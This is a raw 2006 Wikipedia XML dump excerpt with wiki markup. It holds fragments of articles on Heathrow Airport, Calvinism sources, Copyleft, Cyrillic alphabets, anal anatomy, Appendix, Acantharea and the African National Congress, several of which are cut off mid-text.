Terminal 4 as well as to Perimeter Road. [[Heathrow Airside Road Tunnel]] will connect Terminals 1, 2 and 3 to Terminal 5 when it is opened. ==Busiest airport claims== Heathrow is the world's [[World's busiest airport|third-busiest airport]] by total passenger traffic, after [[Hartsfield-Jackson Atlanta International Airport|Atlanta/Hartsfield-Jackson]] and [[O'Hare International Airport|Chicago/O'Hare]] in the [[United States]]. However, due to the majority of the formers' traffic being domestic and latter's large number of foreign connecting flights, Heathrow has become the world's busiest international airport, and is regarded as the hub of the aviation world. [http://www.heathrowairport.com/portal/site/default/menuitem.cd3561d9b59d462588a5e186c02865a0/;jsessionid=DNAfOXj7g3r3fk1j9NlWANpydf0hhlQvi8LcmzuRluuyU0u2FTlo!-949195938] In [[2004]] Heathrow was the busiest airport in [[Europe]] in terms of total passenger traffic (31.5% more passengers than at Paris [[Charles de Gaulle Airport]] or [[Frankfurt International Airport]]), and was third behind Charles de Gaulle and Frankfurt in terms of plane movements (9.5% fewer planes than at Charles de Gaulle, and 0.3% fewer planes than at Frankfurt). The airport was also third in terms of cargo traffic (24.8% less cargo than at Charles de Gaulle and 23.2% less than at Frankfurt). In 2005 total passenger numbers rose 0.9% to 67.7 million. [http://www.caa.co.uk/docs/80/airport_data_prov/200512/December_2005_Provisional_Airport_Statistics.pdf] This low rate of growth reflects the fact that in advance of the completion of Terminal 5, growth in the London flights market is necessarily concentrated at London's other airports. ==Heathrow's landing patterns== ''Main article: [[Bovingdon stack]]'' Bovingdon stack is the holding area to the north-west of London where some inbound planes are held in a racetrack pattern, generally between 8,000 and 15,000 feet. Other holds serving Heathrow are at Lambourne in [[Essex]], Biggin Hill in [[Bromley]] and Ockham in [[Surrey]]. These lie respectively to the north-east, south-east and south-west of London's built-up area. While in such a [[hold_(aviation)|holding pattern]], an airliner will typically range up to about six nautical miles (11 km) from the reference radio beacon, and will fly in a standardised published direction across that fixed beacon prior to commencing the next circuit at a flight level given by [[air traffic control]]. Extreme skill is required to harmonise the aircraft departing from the four holds in terms of speed, and to guide their pilots through concise radio instructions, onto the [[glidepath]] to a single runway at suitable and safe intervals, typically no less than two-and-a-half nautical miles (5 km). The parallel runway is normally assigned to departing aircraft. To reduce noise nuisance to people beneath the glideslope or departure routes, the role of each runway is normally alternated at a set time each day when the wind is from the west. Conventionally at Heathrow this runway alternation time is 1500 local time. When easterly landings are in progress there is no alternation; 09L remains the landing runway and 09R the departure runway, although, at quiet times, some landings are allowed onto 09R for those aircraft wishing to go to Terminal 4. ''See also [[Cranford protocol]].'' ==Construction of Terminal 5== On [[20 November]] [[2001]] transport minister [[Stephen Byers]] announced the British Government's decision to grant planning permission for the building of a fifth passenger terminal at Heathrow. The new terminal is being constructed within the current boundary of the airport, on its western side. It is due to open in [[2008]] and is expected to be fully operational by [[2015]]. When it is completed Heathrow will be able to handle up to 90 million passengers a year, up from its current limit of 65 million. The granting of planning permission followed the longest public inquiry in British history, lasting nearly four years. BAA had made an initial application in 1993. The key factors considered by the inquiry panel were *The economic case for expansion *Developmental pressures/regional planning *Land use policy *Surface access *[[Noise]] *[[Air quality]] *Public safety *Construction BAA's application was vociferously supported by airlines flying out of Heathrow, in particular [[British Airways]] and [[Bmi (airline)|bmi]]. Wider interest business groups and trade unions supporting the proposal included the British Chamber of Commerce, the London Tourist Board, the Confederation of British Industry and the Transport and General Workers' Union. Supporters claim that further expansion of the airport is necessary to maintain Heathrow's current position as the pre-eminent hub in European aviation, ahead of other large airports such as [[Schiphol airport|Schiphol]], [[Charles de Gaulle airport|Charles de Gaulle]], and [[Frankfurt airport|Frankfurt]]. Those opposing the plan cite [[natural environment|environmental]] problems such as increased [[traffic congestion]], air pollution and noise. They included [[Friends of the Earth]] and 11 London borough councils, including the [[London Borough of Hillingdon]] in which Heathrow is situated. The transport network around Heathrow is being extended to cope with increased number of passengers. A spur motorway will run from the [[M25 motorway|M25]] between junctions 14 and 15 to the new terminal. New branches of both the [[Heathrow Express]] and the [[London Underground|Underground]]'s [[Piccadilly Line]] will serve a new shared [[Heathrow Terminal 5 station]], which will also have space for a third pair of tracks for future additional services. ==Future of Heathrow== The major airlines at Heathrow, in particular [[British Airways]], have long advocated a third full-length runway at Heathrow. Those opposing Terminal 5 similarly oppose a third runway. On [[14 December]] [[2003]] [[Transport Secretary]] [[Alistair Darling]] released a [[white paper]] (available from [http://www.dft.gov.uk/aviation/whitepaper/]) on the future of aviation in the UK. A key proposal of the paper was that a third runway would be built at Heathrow by 2020, provided that its owners meet targets on environmental issues such as aircraft noise, [[traffic congestion]] and [[pollution]]. It would involve the loss of [[Sipson]] and much of [[Harmondsworth]], including the [[church]] and [[Tithe barn|tithe barn]]. A sixth terminal would be likely to accompany the new runway. The total capacity would be increased to 115 million passengers per year. At this stage firm locations and timetables have not been determined. When T5 is handed over to BAA in March 2008 over £4bn will have been spent and 20,000 people will have worked on the project. Work will continue on the second of two satellite terminals or concourses, which will be linked to the main terminal by an underground tracked transit system (TTS). In 2005, T5 is the largest construction project in Europe &amp;mdash; expenditure will peak in mid 2005 at £12m per week. None of the cost comes from the taxpayer. As well as the terminal buildings there are other developments under construction as part of the T5 project, including a multi-storey car park, a hotel, an energy centre, road tunnels, tunnelled extensions to the [[Piccadilly Line]] and [[Heathrow Express]] and a spur from the [[M25 motorway|M25]]. The terminal buildings have been designed by [[Richard Rogers|Richard Rogers Partnership]] and the lead project architects are Pascall + Watson, who specialise in airports and transport facilities. The four storeys of the main terminal building (Concourse A) are covered by a single-span undulating steel frame roof, stretching 90 m from east to west. Departing passengers will enter Departures level (on the 3rd floor) after taking one of the lifts or escalators from the interchange plaza. Upon entering the Departures concourse, passengers will see views across the Heathrow area and be in a space that is unobstructed to the rising roof above. After check-in and ticket presentation, the airside lounges will provide views across the tarmac and the runways beyond. There will be an abundance of retail outlets. T5 will have dedicated aircraft stands for the new [[Airbus A380]] in the first satellite terminal (Concourse B), which opens alongside the main terminal. ===Re-organised Terminal Format=== When Terminal 5 opens in [[2008]], Heathrow's terminal system will undergo major changes in order to simplify and streamline the transfer process for passengers. The planned format[http://baa.com/assets/B2CPortal/Static%20Files/Nov05HeathrowEastpresentation.pdf] come 2008 is: *[[British Airways]] will move its entire operation to Terminal 5 *The [[Skyteam]] Alliance, and non-aligned airlines will move into Terminal 4 *Terminal 3 will become the centre for the remaining [[oneworld]] alliance members as well as [[Virgin Atlantic]] *Terminal 1 will be used by the [[Star Alliance]] partnership The [[Heathrow East]] scheme, if approved, will see Terminal 2 and the Queen's Building offices demolished and replaced by a new larger terminal with up to 30 million capacity. Work is planned to start in [[2009]] and to be completed by [[2012]], in time for the [[2012 Summer Olympics|London Olympics]]. When completed, the new terminal layout is likely to be: Terminal 1 - [[Star Alliance]] and [[Virgin Atlantic]], Terminal 3 - [[oneworld]] alliance, Terminal 4 - [[skyteam]] and non-aligned airlines, and Terminal 5 - [[British Airways]] ==Heathrow in culture== The airport is a regular backdrop for movies. In 2003 it was particularly visible in the [[Richard Curtis]] [[romantic comedy]] ''[[Love Actually]]''. A secret camera installed at the arrivals hall at Terminal 4 captured the reunions between people coming off planes and those meeting them. Snippets of some of the more expressive greetings were played at the beginning and end of the movi
''Institutes of the Christian Religion''. ISBN 0664220282 (also [http://www.ccel.org/ccel/calvin/institutes.html available online] in an older translation) *Ford Lewis Battles and John Walchenbach (2001). ''Analysis of the ''Institutes of the Christian Religion'' of John Calvin''. ISBN 0875521827 *John Thomas McNeill (1954). ''The History and Character of Calvinism''. ISBN 0195007433 *[[Andrew Purves]] and Charles Partee (2000). ''Encountering God: Christian Faith in Turbulent Times''. ISBN 0664222420 *[[John Wesley]] (2001). ''Calvinism Calmly Considered''. ISBN 0880194383 ==External links== *[http://www.reformed.org Center for Reformed Theology and Apologetics] - offers many materials of the Calvinist persuasion. *[http://www.monergism.com Monergism] - classic articles and resources; claims to have the largest collection of Reformed/Calvinist resources on the Internet. *[http://www.solagratia.org Sola Gratia Ministries] - another site with a wealth of Reformed and Calvinist resources. *[http://www.the-highway.com The Highway] - many articles from the Reformed perspective and a discussion forum. *[http://www.thirdmill.org Third Millennium Ministries] - many current articles, audio sermons, and lectures by contemporary Reformed theologians on a variety of topics. Also has an online [[seminary]] curriculum. *[http://www.the-highway.com/compare.html Calvinism &amp; Arminianism] - a side-by-side comparison of Calvinism and Arminianism *[http://www.newadvent.org/cathen/03198a.htm Calvinism] from the Catholic Encyclopedia *[http://www.pressiechurch.org/ Pressiechurch.org The Australian Home of Covenant Theology] Calvinistic and Reformed resources and articles *[http://www.gotquestions.org/calvinism.html Is Calvinism Biblical?] by GotQuestions.org *[http://www.theopedia.com/Calvinism Theopedia: Calvinism] (conservative Calvinist perspective) *&quot;Arminius: The Scapegoat of Calvinism&quot; by Vic Reasoner (Arminian perspective; [http://www.fwponline.cc/v19n1reasoner.html part 1], [http://www.fwponline.cc/v19n2reasoner.html part 2], and [http://www.fwponline.cc/v20n1reasoner2.htm part 3]) * [http://www.crookedlakereview.com/articles/101_135/132summer2004/132shanklin.html Calvinist Childrearing Methodology] from [http://www.crookedlakereview.com/articles/101_135/129fall2003/129shanklin.html A Study of the First Maternal Association of Utica, New York, 1824-1833] by Elizabeth Shanklin [[Category:Calvinism|Calvinism]] [[Category:Christian theology]] [[af:Calvinisme]] [[ca:Calvinisme]] [[de:Calvinismus]] [[es:Calvinismo]] [[fr:Calvinisme]] [[ia:Calvinismo]] [[it:Calvinismo]] [[he:קלוויניזם]] [[li:Calvinisme]] [[hu:Református egyház]] [[nl:Calvinisme]] [[ja:&amp;#12459;&amp;#12523;&amp;#12532;&amp;#12449;&amp;#12531;&amp;#20027;&amp;#32681;]] [[pl:Kalwinizm]] [[pt:Calvinismo]] [[ru:Кальвинизм]] [[uk:Кальвінізм]] [[zh:加爾文主義]]</text> </revision> </page> <page> <title>Copyleft</title> <id>6025</id> <revision> <id>42157779</id> <timestamp>2006-03-04T05:03:28Z</timestamp> <contributor> <ip>64.223.113.196</ip> </contributor> <comment>rv deletion by [[User:Robust Physique|Robust Physique]]</comment> <text xml:space="preserve">{{inappropriate tone}} {{RRevised}} [[Image:Copyleft.svg|110px|thumb|right|The &quot;reversed ''c''&quot; is the copyleft symbol. It has no recognized legal meaning, unlike its counterpart...]][[Image:Copyright.svg|110px|thumb|right|...the copyright symbol.]] &lt;!-- The first paragraph has been changed many times before, so a separate topic is added to the discussion page of this article to help stabilize the Wikipedia short definition of Copyleft. Please take part in the discussion there to help make improvements to the first paragraph. --&gt; '''Copyleft''' describes a group of [[license]]s applied to works such as [[Computer software|software]], documents, music, and [[art]]. Whereas [[copyright law]] is seen by the original proponents of copyleft as a way to restrict the right to make and redistribute copies of a particular work, a copyleft license uses copyright law in order to ensure that every person who receives a copy or derived version of a work can use, modify, and also redistribute both the work, and [[Derivative work|derived versions of the work]]. Thus, in a non-legal sense, copyleft is the opposite of copyright. &lt;!--See discussion page of this article--&gt; Authors and developers use copyleft with their work to include others in improving and elaborating the work as a continuing process. ==History== The concept of copyleft arose when [[Richard Stallman]] was working on a [[Lisp programming language|Lisp]] interpreter. [[Symbolics]] asked to use the Lisp interpreter, and Stallman agreed to supply them with a public domain version of his work. Symbolics extended and improved the Lisp interpreter, but when Stallman wanted access to the improvements that Symbolics had made to his interpreter, Symbolics refused. Stallman then, in [[1984]], proceeded to work towards eradicating this kind of behavior, which he named [[software hoarding]]. As Stallman deemed it impractical in the short term to eliminate copyright law and the wrongs he perceived it perpetuating, he decided to work within the framework of existing [[law]]; he created his own copyright license, the [[GNU General Public License]] (GPL), the first copyleft license. For the first time a copyright holder had taken steps to ensure that the maximal number of rights be perpetually transferred to a program's users, no matter what subsequent revisions anyone made to the original program. This original GPL did not grant rights to the public at large, only those who had already received the program; but it was the best that could be done under existing law. The new license was not at this time given the copyleft label. ==Applying copyleft== Common practice for using copyleft is to codify the copying terms for a work with a [[license]]. Any such license typically gives each person possessing a copy of the work the same freedoms as the author, including: # the freedom to use and study the work, # the freedom to copy and share the work with others, # the freedom to change the work, # and the freedom to distribute changed and therefore derivative works. These freedoms do not ensure that a [[derivative work]] will be distributed under the same liberal terms. In order for the work to be truly copyleft, the license has to [[obligation|ensure]] that the author of a derived work can only distribute such works under the same or equivalent license. In addition to restrictions on copying, some other possible impediments copyleft licences aim to address include: *Ensuring the copyleft license conditions can not be [[revoke]]d. *Ensuring the work and its derivatives are provided in a form that facilitates modification. In [[Computer software|software]], this requires that the derivative form is [[synonym]]ous with the [[source code]]. *Requiring [[documentation]] of the work and its modified forms, by way of [[user guide|user manual]]s, or descriptions. {{fact}} Copyleft licenses necessarily make creative use of relevant rules and laws. For example, when using [[copyright law]], those who contribute to a work under copyleft usually must gain, defer or assign [[copyright]] holder status. By submitting the copyright of their contributions under a copyleft license, they deliberately give up some of the rights that normally follow from copyright, including the right to be the unique distributor of copies of the work. {{fact}} Some laws used for copyleft licenses vary from one country to another, and may also be granted in terms that vary from country to country. For example, in some countries it is acceptable to sell a software product without warranty, in standard [[GNU GPL]] style (see articles 11 and 12 of [http://www.fsf.org/licenses/gpl.html the GNU GPL license version 2]), while in most [[Europe]]an countries it is not permitted for a software distributor to [[waiver|waive]] all warranties regarding a sold product. For this reason the extent of such warranties are specified in most European copyleft licenses (see the [http://www.inria.fr/valorisation/logiciels/Licence.CeCILL-V1.US.pdf CeCILL license], a license that allows one to use [[GNU GPL]] (see article 5.3.4 of CeCILL) in combination with a limited warranty (see article 9 of CeCILL). ==Etymology== The term ''copyleft'', according to some sources, came from a message contained in [[Tiny BASIC]], a freely distributed version of [[BASIC_programming_language|BASIC]] written by Dr. [[Li-Chen Wang]] in the late [[1970s]]. The program listing contained the phrases &quot;@COPYLEFT&quot; and &quot;ALL WRONGS RESERVED&quot;, puns on &quot;copyright&quot; and &quot;all rights reserved&quot;, a phrase commonly used in copyright statements. Richard Stallman himself says the word comes from [[Don Hopkins]], whom he calls a very imaginative fellow, who mailed him a letter in [[1984]] or [[1985]] on which was written: &quot;Copyleft&amp;mdash;all rights reversed.&quot; [http://www.gnu.org/gnu/thegnuproject.html] The term [[kopyleft]] with the notation &quot;[[All Rites Reversed]]&quot; was also in use in the early [[1970s]] within the [[Principia Discordia]], which may have inspired Hopkins or influenced other usage. There are definitional problems with the term &quot;copyleft&quot; which contribute to controversy over it. The term originated as an amusing back-formation from the term &quot;copyright&quot;, and was originally a [[noun]], meaning the copyright license terms of the [[GNU General Public License]] originated by Richard Stallman as part of the [[Free Software Foundation]]'s work. Thus, &quot;your program is covered by the copyleft&quot; is almost considered to mean the same as the program being GPLed. When used as a verb, as in &quot;he copylefted his most recent version&quot;, it is less precise and can refer to
rrored Russian letter Э. * [[I (Cyrillic)|Y]] (И, и) is pronounced {{IPA|/ɪ/}} (similar to Russian [[Yery]]). * [[Ukrainian I|I]] (І, і) appears after Y, pronounced {{IPA|/i/}}. It looks like the Latin letter I. * [[Yi (Cyrillic)|Yi]] (Ї, ї) appears after I, pronounced {{IPA|/ji/}}. It looks like I with a diaeresis above it (the same two dots that appear over the Russian letter Yo). * [[Yot]] (Й, й) is the equivalent of Russian Short I. * [[Shcha]] (Щ, щ) is pronounced {{IPA|ʃʧ}}. * An [[Apostrophe (mark) |apostrophe]] (’) serves the purpose of the Russian Hard Sign. * [[Yo (Cyrillic) |Yo]] does not appear. ==== Belarusian ==== [[Belarusian language|Belarusian]] is also written in a Belarusian [[Latin alphabet]] (''[[Lacinka alphabet|Łacinka]]''). Historically, Belarusian [[Tatars]] have written the language in the [[Arabic alphabet]] (''Arabica''), and Belarusian [[Jew]]s in the [[Hebrew alphabet]]. {| cellpadding=4 style=&quot;font-size:larger; text-align:center;&quot; summary=&quot;Thirty-two letters of the Belarusian alphabet, capital and small&quot; |+ style=&quot;font-size:smaller;&quot; | The Belarusian alphabet |- | А а || Б б || В в || Г г || Д д || Е е || Ё ё || Ж ж || З з || І і || Й й |- | К к || Л л || М м || Н н || О о || П п || Р р || С с || Т т || У у || Ў ў |- | Ф ф || Х х || Ц ц || Ч ч || Ш ш || Ы ы || Ь ь || Э э || Ю ю || Я я |} NB: Before 1933, Ґ ({{IPA|/g/}}) was also present. Some linguists call for restoring the letter. Belarusian differs from Russian in the following ways: * I looks like the Latin letter I (І, і). (But non-syllabic [[short I]] looks the same as in Russian.) * Between U and Ef is the letter [[U short]] (Ў, ў), which looks like U (У) with a [[breve]] and pronounced {{IPA|/w/}}, or like the ''u'' part in [[diphthong]]s in ''now, low.'' * Shcha (Щ, щ) does not appear. A combination of sh and ch (ШЧ, шч) is typically used instead. * The Hard Sign is not used. Its purpose (removing of palatalisation) is served by an apostrophe. * The letter combinations Дж дж and Дз дз appear after Д д in the Belarusian alphabet in some publications. These [[digraph (orthography) |digraphs]] each represent a single sound: Дж {{IPA|/ʤ/}}, Дз {{IPA|/ʣ/}}. * Г represents a [[voiced]] [[fricative]] [[consonant]]. =====External links===== * [http://www.pravapis.org/art_belarusian_alphabet.asp Introduction to Belarusian Alphabet] * [http://www.pravapis.org/art_lac1.asp Introduction to Belarusian Latin Script] * [http://www.pravapis.org/art_kitab1_en.asp Belarusian language using Arabic script] * [http://www.pravapis.org/art_letter_frequency.asp Letter Frequency in Belarusian and Russian] * [http://www.pravapis.org/translator.asp Converter from Latin &quot;Translit&quot; into Cyrillics] ==== Bulgarian ==== {| cellpadding=4 style=&quot;font-size:larger; text-align:center;&quot; summary=&quot;Twenty-nine letters of the Bulgarian alphabet, capital and small&quot; |+ style=&quot;font-size:smaller;&quot; | The Bulgarian alphabet |- | А а || Б б || В в || Г г || Д д || Е е || Ж ж || З з || И и || Й й || К к |- | Л л || М м || Н н || О о || П п || Р р || С с || Т т || У у || Ф ф || Х х |- | Ц ц || Ч ч || Ш ш || Щ щ || Ъ ъ || Ь ь || Ю ю || Я я || |} See [[Bulgarian language#Alphabet]]. [[Bulgarian language|Bulgarian]] differs from Russian in the following ways: * Ye (Е) is pronounced {{IPA|/ɛ/}} and is called &quot;E&quot;. * Yo (Ё) does not appear. * The Russian letter Э does not appear. * Shcha (Щ) is pronounced {{IPA|/ʃt/}} and is called &quot;Shta&quot;. * The Hard Sign (Ъ) is used for a vowel, {{IPA|/ə/}} ([[Schwa]]). * Yery (Ы) does not appear. ==== Modern Serbian since the 19th century ==== [[Serbian language|Serbian]] can also be written with the Latin alphabet. See [[Serbo-Croatian language]]. {| cellpadding=4 style=&quot;font-size:larger; text-align:center;&quot; summary=&quot;Thirty letters of the Serbian alphabet, capital and small&quot; |+ style=&quot;font-size:smaller;&quot; | The Serbian alphabet |- | А а || Б б || В в || Г г || Д д || Ђ ђ || Е е || Ж ж || З з || И и || Ј ј |- | К к || Л л || Љ љ || М м || Н н || Њ њ || О о || П п || Р р || С с || Т т |- | Ћ ћ || У у || Ф ф || Х х || Ц ц || Ч ч || Џ џ || Ш ш |} Serbian differs from Russian in the following ways: * Ye is pronounced {{IPA|/ɛ/}}. Yo does not appear. The Russian letter Э does not appear. * Between D and E is the letter Djə (Ђ, ђ), which is pronounced {{IPA|/dʲ/}}, and looks like Tjə, except that the loop of the H curls farther and dips downwards. * Short I does not appear. Between I and K is the letter Jə (Ј, ј), pronounced {{IPA|/j/}}, which looks like the Latin letter J. * Between L and M is the letter Ljə (Љ, љ), pronounced {{IPA|/lʲ/}}, which looks like L and the Soft Sign smashed together. * Between N and O is the letter Njə (Њ, њ), pronounced {{IPA|/nʲ/}}, which looks like N and the Soft Sign smashed together. * Between T and U is the letter Tjə (Ћ, ћ), which is pronounced {{IPA|/tʲ/}} and looks like a lowercase Latin letter h with a bar. On the uppercase letter, the bar appears at the top; on the lowercase letter, the bar crosses the top half of the vertical line. * Between Ch and Sh is the letter Dzhə (Џ, џ), pronounced {{IPA|/dʒ/}}, which looks like Ts but with the downturn moved from the right side of the bottom bar to the middle of the bottom bar. * Sh is the last letter; the rest do not appear. ==== Macedonian ==== {| cellpadding=4 style=&quot;font-size:larger; text-align:center;&quot; summary=&quot;Twenty-nine letters of the Macedonian alphabet, capital and small&quot; |+ style=&quot;font-size:smaller;&quot; | The Macedonian alphabet |- | А а || Б б || В в || Г г || Д д || Ѓ ѓ || Е е || Ж ж || З з || Ѕ ѕ || И и |- | Ј ј || К к || Л л || Љ љ || М м || Н н || Њ њ || О о || П п || Р р || С с |- | Т т || Ќ ќ || У у || Ф ф || Х х || Ц ц || Ч ч || Џ џ || Ш ш |} [[Macedonian language|Macedonian]] differs from ''Serbian'' in the following ways: * Between Ze and I is the letter Dze (Ѕ, ѕ), pronounced {{IPA|/dz/}}, which looks like the Latin letter S. * Djerv is replaced by Gje (Ѓ, ѓ), pronounced {{IPA|/gʲ/}}, which looks like Ghe with an acute accent (´). * Tjerv is replaced by Kja (Ќ, ќ), pronounced {{IPA|/kʲ/}}, which looks like Ka with an acute accent (´). === Non-Slavic languages === These alphabets are generally modelled after Russian, but often bear striking differences, particularly when adapted for [[Caucasian languages]]. The first few of them were generated by Orthodox missionaries for the Finnic and Turkic peoples of [[Idel-Ural]] ([[Mari]], [[Udmurt people|Udmurt]], [[Mordvin people|Mordva]], [[Chuvash people|Chuvash]], [[Tatars|Kerashen Tatars]]) in [[1870s]]. Later such alphabets were created for some of the [[Siberia]]n and [[Caucasus]] peoples who had recently converted to Christianity. In the [[1930s]], some of those alphabets were switched to the [[Uniform Turkic Alphabet]]. All of the peoples of the former Soviet Union who had been using an Arabic or other Asian script ([[Mongolian script]], etc.) also adopted Cyrillic alphabets, and during the [[Great Purge]] in late 1930s, all of the Roman-based alphabets of the peoples of the Soviet Union (with the exception of the Baltic alphabets) were switched over to Cyrillic as well. The Abkhazian alphabet was switched to [[Georgian alphabet|Georgian script]], but after the death of [[Stalin]] Abkhaz also adopted Cyrillic. The last language to adopt Cyrillic was the [[Gagauz language]], which had used [[Greek script]] before. In [[Uzbekistan]], [[Azerbaijan]] and [[Turkmenistan]], the use of Cyrillic to represent local languages has often been a politically controversial issue after the collapse of the [[Soviet Union]], as it evokes the era of Soviet rule (see [[Russification]]). Some of Russia's languages have also tried to drop Cyrillic, but the move was halted under Russian law (see [[Tatar alphabet]]). A number of languages have switched from Cyrillic to other orthographies—either Roman-based or returning to a former script. Unlike the Roman alphabet, which is usually adapted to different languages by using additions to existing letters such as accents, umlauts, tildes and cedillas, the Cyrillic alphabet is usually adapted by the creation of entirely new letter shapes. In some alphabets invented in the 19th century, such as [[Mari language|Mari]], [[Udmurt language|Udmurt]] and [[Chuvash language|Chuvash]], umlauts and breves also were used. ==== Abkhaz ==== [[Abkhaz language|Abkhaz]] is a [[Caucasian language]], spoken in the Autonomous Republic of [[Abkhazia]], [[Georgia (country)|Georgia]]. See [[Abkhaz alphabet]]. {| cellpadding=4 style=&quot;font-size:larger; text-align:center;&quot; class=&quot;Unicode&quot; summary=&quot;Fifty-eight letters of the Abkhaz alphabet, capital and small&quot; |+ style=&quot;font-size:smaller;&quot; | The Abkhaz alphabet |- | А а || Б б || В в || Г г || Гь гь || Ҕ ҕ || Ҕь ҕь || Д д || Дә дә || Џ џ || Џь џь |- | Е е || Ҽ ҽ || Ҿ ҿ || Ж ж || Жь жь || Жә жә || З з || Ӡ ӡ || Ӡә ӡә || И и || Й й |- | К к || Кь кь || Қ қ || Қь қь || Ҟ ҟ || Ҟь ҟь || Л л || М м || Н н || О о || Ҩ ҩ |- | П п || Ҧ ҧ || Р р || С с || Т т || Тә тә || Ҭ ҭ || Ҭә ҭә || У у || Ф ф || Х х |- | Хь хь || Ҳ ҳ || Ҳә ҳә || Ц ц || Цә цә || Ҵ ҵ || Ҵә ҵә || Ч ч || Ҷ ҷ || Ш ш || Шь шь |- | Шә шә || Щ щ || Ы ы |} ==== Turkic languages ==== ===== Azerbaijani ===== The Cyrillic alphabet was used for the [[Azerbaijani language]] from 1939 to 1991. See [[Azerbaijani alphabet]] for discussion. ===== Bashkir ===== The Cyrillic alphabet was used for the [[Bashkir language]] after the winter of [[1938]]. {| cellpadding=4 style=&quot;font-size:larger; text-align:center;&quot; summary=&quot;Bashkir Alphabet&quot; |+ style=&quot;font-size:smaller;&quot; | The Bashkir alphabet |- | А а || Б б || В в || Г г || '''Ғ ғ''' || Д д || '''{{Unicode |Ҙ ҙ}}''' || Е е || Ё ё || Ж ж || З з |- | И и || Й й || К к || '''{{Unicode |Ҡ ҡ}}''' || Л л || М м || Н н |
com/Gossip/Awful/cauth/Archive2000/000427b.html] [[Anal piercing]] is among the more extreme piercings and usually interferes with the function of the anus. == Pathology == [[Anal cancer]], [[abscess]], [[warts]], [[fistula]], [[fissure]], [[itching]] and [[hemorrhoids]] are among the diseases of the anus that benefit from medical intervention. Birth defects of the anus include [[stenosis]] and [[Imperforate anus|imperforation]]. The anus is also a frequent site of [[sexually transmitted infection]]s. Damaged [[anal sphincter]] ([[patulous anus]] in more severe cases) – caused by careless surgery in the [[perineal]] region or by rough/abrupt penetration in [[anal sex]] – can lead to [[flatus]] and/or [[fecal incontinence]], chronic [[constipation]] and, ultimately, [[megacolon]]. ==See also== {{wiktionarypar|anus}} * [[Arse]] * [[Digestive system]] * [[Anal masturbation]] * [[Cloaca]] * [[Flatulence]] * [[Sodomy]] {{digestive_system}} {{human anatomical features}} [[Category:Digestive system]] [[bg:Анус]] [[cs:Řitní otvor]] [[da:Anus]] [[de:Anus]] [[es:Ano]] [[eo:Anuso]] [[fr:Anus]] [[io:Anuso]] [[is:Endaþarmsop]] [[it:Ano]] [[he:פי הטבעת]] [[lt:Išangė]] [[nl:Anus (anatomie)]] [[ja:肛門]] [[pl:Odbyt]] [[pt:Ânus]] [[ru:Анус человека]] [[simple:Anus]] [[su:Kérod salawé]] [[fi:Peräaukko]] [[sv:Analöppning]] [[zh:肛门]]</text> </revision> </page> <page> <title>Appendix</title> <id>2501</id> <revision> <id>41386337</id> <timestamp>2006-02-27T00:13:55Z</timestamp> <contributor> <username>Astatine</username> <id>229795</id> </contributor> <text xml:space="preserve">'''Appendix''' can mean: * In [[Book design]] - a reference section at the end of a book. * In [[Organ (anatomy)|Anatomy]] - a section at the end of an organ; in particular the [[Vermiform appendix]], a part of the human digestive system of disputed function. ==See also== {{wiktionarypar|appendix}} * [[English plural#Irregular plurals of foreign origin|English plural: Irregular plurals of foreign origin]] {{disambig}} [[de:Appendix]] [[eo:Apendico]] [[it:Appendice]] [[nl:Appendix]]</text> </revision> </page> <page> <title>Acantharea</title> <id>2502</id> <revision> <id>31924131</id> <timestamp>2005-12-19T03:23:03Z</timestamp> <contributor> <username>YurikBot</username> <id>271058</id> </contributor> <minor /> <comment>robot Modifying: fr</comment> <text xml:space="preserve">{{Taxobox | color = khaki | name = Acantharea | regnum = [[Protist]]a | phylum = [[Radiolarian|Radiolaria]] | classis = '''Acantharea''' | classis_authority = [[Haeckel]] 1881 ''emend.'' }} The '''Acantharea''' are a small group of [[radiolaria]]n [[protozoa]], distinguished mainly by their skeletons. These are composed of [[strontium sulfate]] crystals, which do not [[fossil]]ize, and take the form of either ten diametric or twenty radial spines. The central capsule is made up of [[microfibril]]s arranged into twenty plates, each with a hole through which one spine projects, and there is also a microfibrillar cortex linked to the spines by [[myonemes]]. These assist in flotation, together with the [[vacuole]]s in the ectoplasm, which often contain [[zooxanthella]]e. The arrangement of the spines is very precise, and is described by what is called the Müllerian law. This is easiest to describe in terms of lines of latitude and longitude - the spines lie on the intersections between five of the former, symmetric about an equator, and eight of the latter, spaced uniformly. Each line of longitude carries either two ''tropical'' spines or one ''equatorial'' and two ''polar'' spines, in alternation. The way that the spines are joined together at the center of the cell varies and is one of the primary characteristics by which acanthareans are classified. * [[Holacanthida]] - diametric spines, simply crossed * [[Symphyacanthida]] - radial spines, with free bases * [[Chaunacanthida]] - radial spines, with articulated bases * [[Arthracanthida]] - radial spines, with pyramidal bases packed together The axopods are fixed in number. Reproduction takes place by formation of [[spore]]s, which may be [[flagellate]]. These develop into [[cell nucleus|mononucleate]] amoebae; adults are usually multinucleate. [[Category:Amoeboids]] [[fr:Acantharea]]</text> </revision> </page> <page> <title>African National Congress</title> <id>2503</id> <revision> <id>41788785</id> <timestamp>2006-03-01T19:34:22Z</timestamp> <contributor> <username>Dewet</username> <id>88048</id> </contributor> <minor /> <comment>/* Coming to power */</comment> <text xml:space="preserve">{{Infobox_Political_Party | party_name = African National Congress | party_logo = [[Image:ANClogo.jpg|150px|ANC logo]] | leader = [[Thabo Mbeki]] | foundation = [[8 January]] [[1912]] | ideology = [[social democracy|Social Democratic]] | headquarters = 54 Sauer Street&lt;br&gt;Johannesburg| international = | website = http://www.anc.org.za }} The '''African National Congress''' (ANC) is a centre-[[left-wing politics|left]] [[political party]], and has been [[South Africa]]'s governing party supported by a [[tripartite alliance]] between itself, the [[Congress of South African Trade Unions]] (COSATU) and the [[South African Communist Party]] (SACP) since the establishment of majority rule in May 1994. Originally called the '''South African Native National Congress''' until 1923, it was founded to defend the rights of the black majority on [[8 January]] [[1912]] in [[Bloemfontein]], and counted [[John Dube]] (its first president) and poet and author [[Sol Plaatje]] among its founder members. It has been the only party to rule South Africa since 1994. It gained support in the [[South African general election, 1999|1999 elections]], and further increased its majority in [[South African general election, 2004|2004]]. ==History== {{Politics of South Africa}} Formed initially on [[January 8th]], [[1912]] by [[John Dube]], [[Pixley Seme]] and [[Sol Plaatje]] along with chiefs, representatives of people's and church organisations, and other prominent individuals to bring all Africans together as one people to defend their rights and freedoms, the ANC from its inception represented both traditional and modern elements, from tribal chiefs to church and community bodies and educated black professionals, though women were only admitted as affiliate members from 1931 and as full members in 1943. The formation of the [[African National Congress Youth League|ANC Youth League]] in 1944 by [[Nelson Mandela]], [[Walter Sisulu]], and [[Oliver Tambo]] heralded a new generation committed to building non-violent mass action against the legal underpinnings of the white minority's supremacy. In 1947 the ANC allied with the [[Natal 